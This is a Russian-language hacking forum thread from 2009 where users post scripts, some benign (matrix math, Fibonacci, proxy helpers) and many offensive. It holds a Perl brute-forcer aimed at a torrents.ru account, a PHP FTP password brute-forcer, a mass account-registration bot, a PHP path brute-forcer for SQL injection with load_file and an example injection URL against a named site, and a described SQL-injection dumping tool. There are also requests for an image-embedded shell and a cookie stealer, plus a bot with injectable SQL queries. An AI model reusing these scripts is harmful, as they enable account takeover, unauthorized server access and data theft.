if message.startswith('!weather') and self.check(user.name):
message, town = message.split()
self.sendMessage(user.name, self.weather(town), wantAck = 0, autoResponse = 0, offline = 0)
if message.startswith('!info') and self.check (user.name):
self.sendMessage(user.name, infoMessage, wantAck = 0, autoResponse = 0, offline = 0)
if message.startswith('!md5') and self.check(user.name):
message, md5_val = message.split()
self.sendMessage(user.name, self.md5_conv(md5_val), wantAck = 0, autoResponse = 0, offline = 0)
def check(self, uin):
if (self.check_uin(uin) and self.last_req(uin)):
return True
def check_uin(self, uin):
try:
conn = MySQLdb.connect(host= "", user = "", passwd = "", db = "")
except MySQLdb.Error, e:
print "Error", e
try:
cursor = conn.cursor()
cursor.execute("""SELECT * FROM users WHERE uin='%s'""" % uin)
result = [row[0] for row in cursor.fetchall()]
if not result:
print "You not registred in service"
else:
return True
except MySQLdb.Error, e:
print "Error", e
cursor.close()
conn.commit()
conn.close()
def md5_conv(self, value):
m = md5.new(value)
return m.hexdigest()
def weather(self, town):
url = 'http://pogoda.rbc.ru/search?search='
hex_town = quote(town)
res = urllib2.urlopen(url+hex_town).read()
day = re.search("<p class='today'><b>(.*)</b>", res, re.M)
if day:
return day.group(1)
else:
return "Town not found"
def last_req(self, uin):
try:
conn = MySQLdb.connect(host = "", user = "", passwd = "", db = "")
except MySQLdb.Error, e:
print "Error", e
try:
cursor = conn.cursor()
cursor.execute("""SELECT last_req FROM users WHERE uin=%s""" % uin)
result = [row[0] for row in cursor.fetchall()]
result = int(time.time() - result[0])
cursor.execute("""UPDATE users SET last_req=%f WHERE uin='%s'""" % (time.time(), uin))
if (result > 10):
return True
else:
self.sendMessage(uin, too_much, wantAck = 0, autoResponse = 0, offline = 0)
except MySQLdb.Error, e:
print "Error", e
cursor.close()
conn.commit()
conn.close()
def reg(self, uin):
try:
conn = MySQLdb.connect(host = "", user = "", passwd = "", db = "")
except MySQLdb.Error, e:
print "Error %d: %s" % (e.args[0], e.args[1])
sys.exit(1)
try:
cursor = conn.cursor()
cursor.execute("""SELECT * FROM users WHERE uin='%s'""" % uin)
result = [row[0] for row in cursor.fetchall()]
if result:
self.sendMessage(uin, "You already registred in this service", wantAck = 0, autoResponse = 0, offline = 0)
else:
cursor.execute("""INSERT INTO users (uin, last_req) VALUES ('%s', '%s')""" % (uin,time.time()))
print "Number of rows inserted: %d" % cursor.rowcount
cursor.close()
except MySQLdb.Error, e:
print "Error %d: %s" % (e.args[0], e.args[1])
sys.exit(1)
conn.commit()
conn.close()
class OA(oscar.OscarAuthenticator):
BOSClass = B protocol.ClientCreator(reactor, OA, SN, PASS, icq=icqMode).connectTCP(*hostport)
reactor.run()
fuck all
10.01.2009, 22:12
Вот мой Torrents.ru брут на перле:
З.Ы. Особо не пинайте т.к. в програмировании вообще почти не шарю))
#!/usr/bin/perl
################################################## #
# В папку со скриптом киньте 2 файла: #
# pass.txt (Словарь), good.txt (Взбрученные аккки)#
################################################## #
use strict;
use LWP::UserAgent;
use HTTP::Cookies;
use Getopt::Std;
use threads;
print "\n Torrent.ru Bruteforce by Fuck all\n";
print "\n Starting brute...\n";
open (FP , '<pass.txt') || die ("No password list! \n"); # Пароли в pass.txt
my @pass = <FP>;
close FP;
my $login_username = 'ALeXX'; # ЛОГИН!
my $i=0;
my @thr;
my $ua = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
$ua->cookie_jar($cookies);
for (@pass)
{
my $nowpass = $_;
chomp @pass;
if($thr[$i]) {threads->object($thr[$i]->tid())->join;}
$thr[$i]=threads->create(\&brute,$login_username,$nowpass);
$i=($i+1) % 5; #Количество потоков (5)
}
foreach(threads->list) { $_->join; }
sub brute()
{
$ua->cookie_jar($cookies);
my $req = $ua->post('http://torrents.ru/forum/login.php', {
'st.posted'=>'set',
'login_username'=>$_[0],
'login_password'=>$_[1],
'login'=>'%C2%F5%EE%E4'
})->as_string;
my $result = $req =~/302 Found/;
if ($result)
{
print "[+]OK $_[0]:$_[0]\n";
open (G , '>>good.txt');
print G $_[0].":".$_[1]."\n";
close G;
die ('PASSWORD FOUND!!!!!\n\n\n');
}
else
{
print "[-] BAD $_[1]\n";
}}
#c0ded by Fuck all;
Вот мой Torrents.ru брут на перле:
З.Ы. Особо не пинайте т.к. в програмировании вообще почти не шарю))
смысл торент.ру брутить?
там итак нахаляву качать можно..
ANTIJABBER
11.01.2009, 00:23
смысл торент.ру брутить?
там итак нахаляву качать можно..
Рейтинг =)
Design_Corn
12.01.2009, 02:13
Постучал MazaFaker и попросил авторегер для одного сайта.
Сделал я авторегер через сокеты...
Давайте разберём скрипт.
<?php
//config//
error_reporting(0); //Что бы не показывало какие нить ошибки
set_time_limit(0); // Убераем ограничение на выполнение скрипта, по дефолту 30сек
$a = 0; //Для счетчика понадобится переменная
$go = $_GET['go']; //Гет парраметр , тоже для счетчика
while($a != $go){ //Вот и сам цикл, для создания n кол-ва акков
$r1 = rand(100,50000); //создаем любое число от 100 до 50000
$login = "capcha".$r1; // делаем наш логин
$pass = "mazafaker"; // делаем наш пасс
$mail = "capcha".$r1."%40mail.ru"; // делаем рандомное мыло
// %40 это кодированый символ @, в HTTP запросах обязательно писать %40
$fp = fsockopen("www.online-777.ru", 80, $errno, $errstr, 30); //Открываем сокет(Коннектимся к сайту)
if (!$fp) { //Если не приконектилось
echo "$errstr ($errno)<br />\n"; // выводим причину
} else { //иначе
$headers1 = "r_login=".$login."&r_pass=".$pass."&r_email=".$mail."&r_name=&r_fam=&send=1&submit=%D1%EE%F5%F0%E0%ED%E8%F2%FC"; // Выполняем запрос такого вот вида, но о заголовках по позже
$headers = "POST http://www.online-777.ru/reg.php HTTP/1.1\r\n";
$headers .= "Host: www.online-777.ru\r\n";
$headers .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4\r\n";
$headers .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$headers .= "Accept-Language: ru,en-us;q=0.7,en;q=0.3\r\n";
$headers .= "Accept-Encoding: gzip,deflate\r\n";
$headers .= "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n";
$headers .= "Connection: keep-alive\r\n";
$headers .= "Referer: http://www.online-777.ru/reg.php\r\n";
$headers .= "Content-Type: application/x-www-form-urlencoded\r\n";
$headers .= "Content-Length: ".strlen($headers1)."\r\n\r\n".$headers1; //вычисляем длину переменной $headers1
fwrite($fp, $headers); //выполняем заголовок в сокете
echo $login.":".$pass."<br>"; //выводим наш пасс и логин
fclose($fp); //закрываем сокет
}
$a++; //плюсуем $a
}
?>
Теперь поговорим про сами заголовки.
Как получить заголовок?
Я пользуюсь плагином для FireFox , называется liveHttpHeaders
качаем тут (http://livehttpheaders.mozdev.org/installation.html#)
устанавливаем плагин.
Заходим в Инструменты->Дополнения и открываем наш плагин.
Заходим на сайт где нужен нам авторегер и регимся сначало вручную,теперь смотрим что появилось в том окошке плагина, а получиться должно что-то типа этого
POST /reg.php HTTP/1.1
Host: www.online-777.ru
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.online-777.ru/reg.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 113
r_login=LoGiN111&r_pass=PaZzZz111&r_email=Mail%40mail.ru&r_name=&r_fam=&send=1&submit=%D1%EE%F5%F0%E0%ED%E8%F2%FC
r_login=LoGiN111&r_pass=PaZzZz111&r_email=Mail%40mail.ru&r_name=&r_fam=&send=1&submit=%D1%EE%F5%F0%E0%ED%E8%F2%FC[
Вот сама строчка пост запроса.
r_login=LoGiN111
r_pass=PaZzZz111
r_email=Mail%40mail.ru
Нам надо эту строчку приобразовать в
$headers1 = "r_login=".$login."&r_pass=".$pass."&r_email=".$mail."&r_name=&r_fam=&send=1&submit=%D1%EE%F5%F0%E0%ED%E8%F2%FC";
А все остальные пстроки мы вписываем в переменную $headers, но в конце каждой строчки добавляем \r\n.
Последнюю строчку запроса , тобиш вот эту
Content-Length: 113
мы преобразуем в
$headers .= "Content-Length: ".strlen($headers1)."\r\n\r\n".$headers1;
Тобиш мы автоматически вычесляем длинну нашего пост запроса и сразу же его выполняем.
Ну вроде бы и всё..
Думаю вам ещё не совсем понятно, т.к. это не совсем джля новичков написано, хотя кто его знает.
Всегда Ваш Капча))
Design_Corn
12.01.2009, 02:16
Вдруг понадобился брут фтп сервера.
Решил показать вам код и прокомментировать его.
<?php
//@Coder - Capcha
//@PHP ftp Brute v.1.0 ;)
//Config//
$host = $_GET['host']; //Передаём переменной $host IP адресс нашего фтп, через GET запрос
$passwords = "pass.txt"; //Файл с паролями
$user = $_GET['user']; //Передаём переменной $user логин от сервера
//------//
//Script//
if(isset($host)){ //Если существует переменная $host, т.е. если она не равна NULL, то
$pass = file($passwords); //каждую строку файла заганяем в каждую клетку массива переменной $pass
foreach($pass as $line){ //переменной $line придаётся значение каждой клетки массива
@$conn = ftp_connect($host);
if(!@$conn){ //Если не удалось приконнектится, то
die("<font color=orange>Connection Error</font>"); //заканчиваем работу скрипта
} else { //Иначе, если получилось приконнектиться, то
$line = trim($line); //отчищаем переменную $line от пробелов и от \n
echo $line." - "; //выводим пароль на екран
@$login = ftp_login($conn,$user,$line);
if(!@$login){ //Если не удаётся зайти на сервак под этим пассом и логином, то
echo "<font color=red>Access Denied</font><br>"; //выводим-с это и
@ftp_close($conn);//закрываем соединение
} else { //Иначе если удалось залогиниться, то
echo "<font color=green>Access Grunted</font><br>";//выводим вот это
@ftp_close($conn); //Закрываем соединение
}
}
}
}
?>
Как использывать скрипт?
www.site.ru/ftp.php?host=ftp.site.ru&user=admin
Собственно и всё, задавайте свои вопросы, если таковые имеются.
Design_Corn
12.01.2009, 02:20
Самое простое что нужно усвоить новичкам.
Продолжительность 5минут
Размер 45мб
.::Deposit (http://depositfiles.com/ru/files/s93onhomu)::.
Еще один раскрутчик SQl иньекций. Здесь пытался реализовать все что знаю. Чесно говоря даже не знаю зачем.
Что умеет?
- Да собственно скрипт проверяет переданный ему линк на скуль иньекты. Как? Очень просто скрипт использует BENCHMARK для того чтобы определить наличие SQL иньекта.
- Умеет обходить фильтрацию кавычек, пробелов, пары ключевых слов, чего там еще... да собственно вроде все.
- После того как скуль иньект обнаружен скрипт определяет количество полей, выводимое поле, и если версия мускуля пятая выводит дамп information_schema.
Вкратце это все... Конечно супер извращенную скулю он не раскрутит, но по идее должен хотябы показать ее наличие.
Собственно вот ниже скрипт. Юзаем как есть, то есть поддержку этого я не осуществляю. Юзаем так:
script.php?link=http://test.ru/news.php?id=1
* в архиве лежит пофиксенная версия.
И еще нашли ошибки - исправляйте их сами, мне этот скрипт до одного места, откровенно говоря.
Pashkela
16.01.2009, 14:52
Напрямую, минуя ваш компьютер.
Скрипт необязательно устанавливать туда, куда скачиваешь. На любой сайт с поддержкой php, чтобы было понятно:
1. Сайт, откуда скачиваешь
2. FTP (сайт), куда скачиваешь
3. Сайт, где установлен скрипт ( может не иметь никакого отношения к п.2 и может вообще быть не сайтом )
<pre>
<?php
@set_time_limit(0);
@ini_set("display_errors","1");
if(isset($submit))
{
$file = trim($_POST['d_file']); //Удаленный путь к файлу
$remote_file = trim($_POST['r_file']); //Локальный путь к файлу (абсолютный)
$ftp_server = trim($_POST['server']);
$ftp_user = trim($_POST['login']);
$ftp_pass = trim($_POST['pass']);
// установить соединение или выйти
$conn_id = ftp_connect($ftp_server) or die("Не удалось установить соединение с $ftp_server");
// попытка входа
if (@ftp_login($conn_id, $ftp_user, $ftp_pass)) {
echo "Произведен вход на $ftp_server под именем $ftp_user\n";
} else {
echo "Не удалось войти под именем $ftp_user\n";
}
// загрузка файла
if (ftp_put($conn_id, $remote_file, $file, FTP_BINARY)) {
echo "$file загружен на сервер\n";
} else {
echo "Не удалось загрузить $file на сервер\n";
}
// close the connection and the file handler
ftp_close($conn_id);
}
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text; charset=windows-1251">
<title>FTP2FTP</title>
</head>
<bоdу>
<div align="center">
<form method="post">
<table>
<tr><td><span>Файл для скачивания(http://.../имя_файла)</span></td><td><input type="text" name="d_file" /></td></tr>
<tr><td><span>Путь для скачивания на фтп(абсолютный -/http/1/имя_файла)</span></td><td><input type="text" name="r_file" /></td>
<tr><td><span>FTP-сервер:</span></td><td><input type="text" name="server" /></td></tr>
<tr><td><span>FTP-login:</span></td><td><input type="text" name="login" /></td></tr>
<tr><td><span>FTP-password:</span></td><td><input type="password" name="pass" /></td></tr>
</table>
<input type="submit" name="submit" value="Start" />
</form>
</div>
</bоdу>
</html>
</pre>
Еще один раскрутчик SQl иньекций. Здесь пытался реализовать все что знаю. Чесно говоря даже не знаю зачем.
Что умеет?
- Да собственно скрипт проверяет переданный ему линк на скуль иньекты. Как? Очень просто скрипт использует BENCHMARK для того чтобы определить наличие SQL иньекта.
- Умеет обходить фильтрацию кавычек, пробелов, пары ключевых слов, чего там еще... да собственно вроде все.
- После того как скуль иньект обнаружен скрипт определяет количество полей, выводимое поле, и если версия мускуля пятая выводит дамп information_schema.
Вкратце это все... Конечно супер извращенную скулю он не раскрутит, но по идее должен хотябы показать ее наличие.
Собственно вот ниже скрипт. Юзаем как есть, то есть поддержку этого я не осуществляю. Юзаем так:
script.php?link=http://test.ru/news.php?id=1
Перепробовал много простых инъекций. Всегда определяет количество столбцов равное 6 и дальше работа скрипта загибается. Нашел в запасах скулю с 6 столбцами- работает превосходно. В чем может быть проблема?
Pashkela
18.01.2009, 04:49
Простой сканер сайтов, который поможет выявить наличие на сайте той или иной папки или файла, что иногда может быть очень полезно при определенных обстоятельствах. Есть возможность пополнять словарь для брута и файл ошибок, возвращенных браузером, когда папка или файл не найдены. Т.е. настраивается практически на любой сайт. Readme в архиве. Найденные результаты запишет в файл.
Скачать (http://pashkela.narod.ru/progi/SiteScaner.rar)
heretic1990
21.01.2009, 16:33
PHP Скрипт , который обрабатывает формы и сохраняет непосредственно в файл Excel.
<html>
<head><title>
<?php
//Code by apg88 "apgForm(toExcel) 1.4"
// Determine if the form was sent through the GET methog or the POST method.
if($_GET){
$array = $_GET;
}else if($_POST){
$array = $_POST;
} else {
echo "You must Access this file through a form."; // If someone accesses the file directly, it wont work :)
}
if(!$array['title']){
// if the title wasnt sent through the form, it will become whatever you set it equal to in the next line
$array['title'] = "apgForm"; //Set default title to be displayed
}
echo $array['title'] .'</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>
<body>';
//Check if the filename was sent through the form or not
if(!$array['filename']){
// if the filename wasnt sent through the form, it will become form.xls, you can change the default if you want.
$array['filename'] = "form.xls"; //Set the file to save the information in
} else {
if(!(stristr($array['filename'],".xls"))){
$array['filename'] = $array['filename'] . ".xls";
}
}
// Change this to whatever you want the users to see after the form is processed
$continue = ' Here is a the Comment form your info was just sent to <a href="test.xls">Click
Here</a> to see the excel file.<br> <a href = "index.php">Click Here</a> To Return to apgForm ';
// Change this to the character(s) you want to be placed instead of line breaks(new line, enter, etc)
$lbChar = " "; // default is a space, you may change it to whatever you want
//-------------------------------------------------------------------------------------
//----------------You do not need to change anything below this line-------------------
//-------------------------------------------------------------------------------------
// Define the tab and carriage return characters:
$tab = "\t"; //chr(9);
$cr = "\n"; //chr(13);
if($array){
// Make The Top row for the excel file and store it in the $header variable
$keys = array_keys($array);
foreach($keys as $key){
if(strtolower($key) != 'filename' && strtolower($key) != 'title'){
$header .= $key . $tab;
}
}
$header .= $cr;
//Make the line with the contents to write to the excel file.
foreach($keys as $key){
if(strtolower($key) != 'filename' && strtolower($key) != 'title'){
$array[$key] = str_replace("\n",$lbChar,$array[$key]);
$array[$key] = preg_replace('/([\r\n])/e',"ord('$1')==10?'':''",$array[$key]);
$array[$key] = str_replace("\\","",$array[$key]);
$array[$key] = str_replace($tab, " ", $array[$key]);
$data .= $array[$key] . $tab ;
}
}
$data .= $cr;
if (file_exists($array['filename'])) {
$final_data = $data; //if the file does exist, then only write the information the user sent
} else {
$final_data = $header . $data; //if file does not exist, write the header(first line in excel with titles) to the file
}
// open the file and write to it
$fp = fopen($array['filename'],"a"); // $fp is now the file pointer to file $array['filename']
if($fp){
fwrite($fp,$final_data); //Write information to the file
fclose($fp); // Close the file
echo "Form Received Successfully! <br> " . $continue;
} else {
echo "Error receiving form! <br>" . $continue;
}
}
?>
</body>
</html>
Shadow_p1raT
23.01.2009, 18:55
Вообщем думаю что написал полный бред,так как писал не совсем в трезвом состоянии)
Ещё один класс для работы с мускулем.
<?php
/* Есчё один классок для базы данных MySQL
*
* Скрип писался не совсем в трезвом состоянии)
*
* [p1r47] aka Shadow_p1raT
*
* icq:9930875
*/
class My_SQL
{
var $user_name;
var $password;
var $db_host;
var $db_name;
var $des; # Дескриптор подключения
/*
* Конструктор класса
* @param string $username - Логин пользователя
* @param string $password - Пароль пользрвателя
* @param string $dbname - Имя базы
* @param string $dbhost - Хост. по дефолту = localhost
*/
function __construct($username,$password,$dbname,$dbhost = 'localhost')
{
$this->db_host = $dbhost;
$this->db_name = $dbname;
$this->user_name = $username;
$this->password = $password;
}
/*
* Функция соединения с базой данных
*
*/
function connect()
{
$this->des = mysql_pconnect($this->db_host,$this->user_name,$this->password);
if(!is_resource($this->des))
{
die('Невозможно подключиться к базе Данных');
}
if(!mysql_select_db($this->db_name,$this->des))
{
die('Невозможно выбрать базу данных');
}
}
/*
* Выполняем запрос к базе данных
* @param string $query - Строка запроса
* @param string $function - Функция обработки данных после вполнения запроса
* @return void
*/
function execute($query,$function = '')
{
if(!$this->des)
{
$this->connect();
}
$res = mysql_query($query,$this->des);
if(!is_resource($res))
{
die('Неудалось выполнить запрос к базе данных');
}
if(!$function == '')
{
if($func = call_user_func(create_function('$res','return '. $function),$res))
{
return $func;
}
}
return($res);
}
}
Пример использывания
<?php
$db = new My_SQL('root','','roa');
$db->connect();
print_r($db->execute('SELECT * FROM `users`','mysql_fetch_array($res);'));
?>
ЗЫ если такое уже есть или я ваще сумашедший - delete post
ЗЫЫ Ой,cлучайно спалил секретную таблицу РОА
groundhog
23.01.2009, 19:01
Shadow_p1raT, по-твоему это класс? :) Так "классок" обёртка для двух методов... И нафига ты используешь постоянный коннекты? Почему не предусмотреть возможность переключения режима? Почему не сделать методы чтобы возвращать всё в массиве? Почему не сделать методы экранирования строк?
procedure
23.01.2009, 21:55
Скрипт узнает текст который будет в игре по id:
(клавагонки)
using System;
using System.Collections.Generic;
using System.Text;
using System.Text.RegularExpressions;
using System.Net;
using System.IO;
namespace TestConsole
{
class Program
{
public static StreamWriter fstr_out;
static void Main(string[] args)
{
while (true)
{
Console.WriteLine("Создатель этой программы - procedure");
Console.WriteLine("Please enter game id: ");
string id = Console.ReadLine();
Worker work = new Worker(id);
}
}
}
public class Worker
{
public Worker(string id)
{
HttpWebRequest req = (HttpWebRequest)HttpWebRequest.Create("http://klavogonki.ru" + "/play/" + id + ".info");
//This string for delete if release
req.Proxy = new WebProxy("127.0.0.1", 8888);
req.UserAgent = @"Mozila/4.0 (compatible; MSIE 6.0;
Windows NT 5.1; SV1; MyIE2;";
req.Accept = @"text/html, application/xml;q=0.9, application/xhtml+xml,
image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1";
req.Headers.Add("Accept-Language", "ru");
req.ContentType = "application/x-www-form-urlencoded";
req.Method = "POST";
req.Referer = "http://klavogonki.ru/go?type=normal";
req.AllowAutoRedirect = false;
//Cookie
req.CookieContainer = new CookieContainer();
//Create Response
HttpWebResponse resp = (HttpWebResponse)req.GetResponse();
StreamReader stream =
new StreamReader(resp.GetResponseStream(), Encoding.GetEncoding(1251));
string str = stream.ReadToEnd();
Match m = Regex.Match(str, @"text\S{3}.+\S{3}length");
string str1 = String.Empty;
while (m.Success)
{
str1 += m.Value;
m = m.NextMatch();
}
char[] ch = str1.ToCharArray();
string result = String.Empty;
for (int i = 0; i < ch.Length; i++)
{
if (i < 26 || i > (ch.Length - 10))
continue;
result += ch[i].ToString();
}
Console.ForegroundColor = ConsoleColor.Yellow;
Console.WriteLine("Text: " + ParseResult(result));
Console.ForegroundColor = ConsoleColor.White;
}
private string ParseResult(string sub)
{
char[] ch = sub.ToCharArray();
char separate = '\\';
List<int> ignore = new List<int>();
string subb = String.Empty;
for (int i = 0; i < ch.Length; i++)
{
if (i == (ch.Length - 1))
{
subb += ch[i].ToString();
continue;
}
if (ch[i] == separate)
{
int f = i;
for (int n = 0; n < 6; n++)
{
ignore.Add(f++);
}
f = f - 3;
string res = String.Empty;
for (int k = 0; k < 3; k++)
{
res += ch[f++].ToString();
}
subb += Convert.ToChar(int.Parse(res, System.Globalization.NumberStyles.AllowHexSpecifie r)).ToString();
}
else
{
bool status = true;
foreach (int item in ignore)
{
if (item == i)
{
status = false;
}
}
if (status)
{
subb += ch[i].ToString();
}
}
}
return subb;
}
}
}
heretic1990
23.01.2009, 23:39
procedure Я думаю тебе сюда http://forum.antichat.ru/forum24.html
<?php
set_time_limit(0);
//фyнкция для socks4, пocлe кoтopoй paбoтa вeдeтcя aнaлoгичнo fsockopen()
//в cлyчae нeyдaчи вoзвpaщaeт false, кoд oшибки($errno), oпиcaниe oшибки($errstr)
function socks4_open($socks4_h, $socks4_p, $host, $port, &$errno, &$errstr, $timeout=30)
{
if (!($connect = fsockopen($socks4_h, $socks4_p, $errno, $errstr, $timeout))) return false;
$q = pack('C2', 0x04, 0x01);
$q .= pack('n', $port);
if (preg_match("/(\d+)\.(\d+)\.(\d+)\.(\d+)/", gethostbyname($host), $arr))
$q .= pack('C4', $arr[1], $arr[2], $arr[3], $arr[4]);
$q .= 0;
$q .= pack('C', 0);
if (!fputs($connect, $q)) return false;
if (!($otv = fgets($connect, 9))) return false;
$otv = unpack('Cvn/Ccd', substr($otv, 0, 2));
if (0 != $otv['vn']) return false;
if (90 == $otv['cd']) return $connect; else return false;
}
//пpимep зaпpoca
$q = "GET / HTTP/1.0\r\nHost: mail.ru\r\n\r\n";
//пpимep paбoты socks4_open()
$connect = socks4_open("216.114.194.19", 1080, 'mail.ru', 80, $errno, $errstr, 30);
if (!$connect)
{
echo "$errstr ($errno)<br>\n";
}
else
{
fputs($connect, $q);
while (!feof($connect))
{
$answer .= fgets($connect, 1024);
}
fclose($connect);
}
echo $answer;
?>
У кого нибудь есть реггер сайтов на народе? типа ввёл список юзернеймов и сидишь вводишь капчи?
heretic1990
25.01.2009, 20:50
У кого нибудь есть реггер сайтов на народе? типа ввёл список юзернеймов и сидишь вводишь капчи?
здесь глянь http://www.nulled.ws/showthread.php?t=55308
Аналоги функции mysql: INET_ATON, INET_NTOA.
на php, может кому пригодится:.
<?
function inet_aton($ip){
$ip = ip2long($ip);
($ip < 0) ? $ip+=4294967296 : true;
return $ip;
}
function inet_ntoa($int){
// long2ip принимает на вход также беззнаковые
// INT, т.е. полностью идентичен inet_ntoa
return long2ip($int);
}
//пример работы
$ip=array();
$ip[]='255.255.255.255';
$ip[]='0.0.0.1';
$ip[]='0.0.0.0';
$ip[]='127.0.0.1';
$ip[]='251.56.5.210';
$ip[]='255.56.5.210';
$ip[]='10.0.0.1';
$ip[]='192.168.0.1';
$ip[]='191.168.0.1';
$ip[]='193.168.0.1';
foreach ($ip as $v){
echo $v." -> ".inet_aton($v)." | ".inet_aton($v)." -> ".inet_ntoa(inet_aton($v))."<br>\n\r";
}
?>
Вот мой Torrents.ru брут на перле:
З.Ы. Особо не пинайте т.к. в програмировании вообще почти не шарю))
У меня неробит ,пробовал на своём акке и он говорид мол мой пароль бад и нечего в good.txt непишет
.
heretic1990
26.01.2009, 00:07
Вот мой Torrents.ru брут на перле:
З.Ы. Особо не пинайте т.к. в програмировании вообще почти не шарю))
У меня неробит ,пробовал на своём акке и он говорид мол мой пароль бад и нечего в good.txt непишет
.
А где скрипт? :confused:
А где скрипт? :confused:
вот
.
:D
fuck all
26.01.2009, 14:20
2 #Wolf#,heretic1990: Эт он типа мой пост цитировал так :D
2 waik: я только что все проверил,скрипт пашет и норм записывает в good.txt сбрученные акки,так что я незнаю чё оно у тебя невыходит...
Умножение вектора на матрицу, код + пример
<?php
$vector = array ();
$matrix = array ();
$vector = array (1, 2, 3);
$matrix[0][0] = 1;
$matrix[0][1] = 0;
$matrix[0][2] = 0;
$matrix[1][0] = 0;
$matrix[1][1] = 1;
$matrix[1][2] = 0;
$matrix[2][0] = 1 / 2;
$matrix[2][1] = 0;
$matrix[2][2] = 1 / 2;
function multmatrix($v, $m)
{
$output = array ();
if (!is_array ($v) || !is_array ($m))
{
return false;
}
if (count ($m) != count ($v))
{
return false;
}
for ( $i = 0; $i < count ($m); $i++)
{
$cnt = 0;
for ( $j = 0; $j < count ($m[$i]); $j++)
{
$cnt++;
}
if ($cnt != count ($v))
{
return false;
}
}
for ( $i = 0; $i < count ($m); $i++)
{
$temp = 0;
for ( $j = 0; $j < count ($m[$i]); $j++)
{
$temp += ($v[$j] * $m[$j][$i]);
}
$output[] = $temp;
}
return $output;
}
print_r (multmatrix($vector, $matrix));
?>
Нарыл у себя функцию получения страницы с возможностью работы через http-proxy:
function socket_do($action, $method, $headers, $query = '', $proxy = '')
{
$fp = '';
$head = '';
$action = str_replace('http://', '', $action);
$for_s_conn = substr($action, 0, strpos($action, '/'));
$method = strtoupper($method);
if(!empty($proxy))
{
$ex = explode(':', $proxy);
if(!$fp = @fsockopen($ex['0'], $ex['1'], $errno, $errstr, 15))
die($errstr);
}
else
{
if(!$fp = @fsockopen($for_s_conn, 80, $errno, $errstr, 15))
die($errstr);
}
if($method == 'POST')
{
$head = "POST http://$action HTTP/1.1\r\n";
$head .= "Content-length: ".strlen($query)."\r\n";
}
elseif($method == 'GET')
$head = "GET http://$action HTTP/1.1\r\n";
else
die('Выбран не существующий метод');
$head .= "Connection: close\r\n";
$head .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5\r\n";
$head .= "Host: $for_s_conn\r\n".implode("\r\n", $headers)."\r\n\r\n";
if($method == 'POST')
$head .= $query;
if(@!fwrite($fp, $head))
{
die($errstr);
}
$result = '';
while(!feof($fp))
$result .= @fgets($fp, 8196);
fclose($fp);
return $result;
}
есть у кого нибудь скрипт ,что при вставлении в картинку и заливки на сервер откроет все его директории и может скачать файлы.
также нужен хороший скриптик угона кук )
есть у кого нибудь скрипт ,что при вставлении в картинку и заливки на сервер откроет все его директории и может скачать файлы.
также нужен хороший скриптик угона кук )
1. а ключ от квартиры где деньги лежат?
мб ты имел ввиду шелл, который можно залить с нужным именем а потом исполнить?
2. что значит скрипт угона кук ? в смысле гейт куда будут приниматся угнаные?
Задание: хранимая функция MySQL для чисел фибоначи.
SELECT FIBONACHI(5);
delimiter $$
create function fibonacci(n INT)
returns int
BEGIN
declare fib int;
declare x int;
declare y int;
set x = 0;
set y = 1;
set fib = 0;
while n > 0 do
set x = y;
set y = fib;
set fib = x + y;
set n = n - 1;
end while;
return (fib);
end$$
delimiter ;
select fibonacci(5);
Задача: Написать программу выполняющее деления одного числа на другое столбиком (как в младших классах школы)
Вывод: результат, остаток
Изменил скрипт
<?php
$input = file('input.txt');
$output = fopen('output.txt', 'w');
foreach ($input as $lines => $line)
{
list($num1,$num2) = explode(" ", $line);
if ( $num2 == 0)
{
fwrite($output, "Division by 0\n");
}
else
{
$result = floor($num1 / $num2);
$result1 = $num1 % $num2;
fwrite($output, $result . " " . $result1 . "\n");
}
}
?>
Парсер (граббер) bash.org.ru
<?php
$page = file_get_contents('http://bash.org.ru/');
preg_match_all('|<div>(.+)</div>|',$page,$result);
echo $result[1][rand(0,9)];
?>
Iceangel_
29.01.2009, 22:55
Написал брутер путей в инъекциях при file_priv=on, может кому-нибудь пригодится...
http://forum.antichat.ru/thread49775.html -- здесь можно собрать неплохой словарик для скрипта
<form action="" medhod="get">
Injection:<input type="text" size= name="host"><br>
<input type="submit" value="Send">
</form>
<?php
/* В поле "Injection" требуется ввести строку с подобранным количеством полей
и в принтабельном поле ввести <file> ;
=Пример=
имеется инъекция, с возможностью чтения файлов:
http://www.jfanow.org/jfanow/index.php?mode=P&id=-2913+union+select+1,load_file('/etc/passwd'),3,4,5,6,7/*
Следовательно, в форму нужно добавить:
http://www.jfanow.org/jfanow/index.php?mode=P&id=-2913+union+select+1,<file>,3,4,5,6,7/*
P.S.
#=Gr3tzz to Grey =#
#Coded by IceAngel_# */
set_time_limit(0);
$dic = file("words.txt"); //словарь с путями
if (isset($_GET['host'])){
foreach ($dic as $patch ){
$patch = str_replace("\n", "", trim($patch));
$test = str_replace("<file>", "if(load_file(0x".bin2hex($patch).")+is+null,null,3705)", $host);
$s = file_get_contents($test);
if (strpos($s,'3705'))
{ echo $patch."<br>";}}}
?>
procedure
03.02.2009, 05:32
В gmailé нашел, фишечку, mail.google.com/mail/feed/atom - вроде как авторизироватся можно сколько влезит. мб, кому полезно будет.
#!/usr/bin/env python
# by faza02
# antichat.ru
import md5, urllib, base64, sha
print 'fc0d3r by faza02\n sql.parsers.info'
while 1:
ena=raw_input(u'lin3: ')
print 'sha-1: ' + sha.new(ena).hexdigest()
print 'hex: 0x' + base64.binascii.hexlify(ena)
print 'base64: ' + base64.binascii.b2a_base64(ena)
print 'md5: ' + md5.new(ena).hexdigest()
print 'url: ' + urllib.quote(ena)
for i in range(len(ena)):
print str(ord(ena[i]))+',',
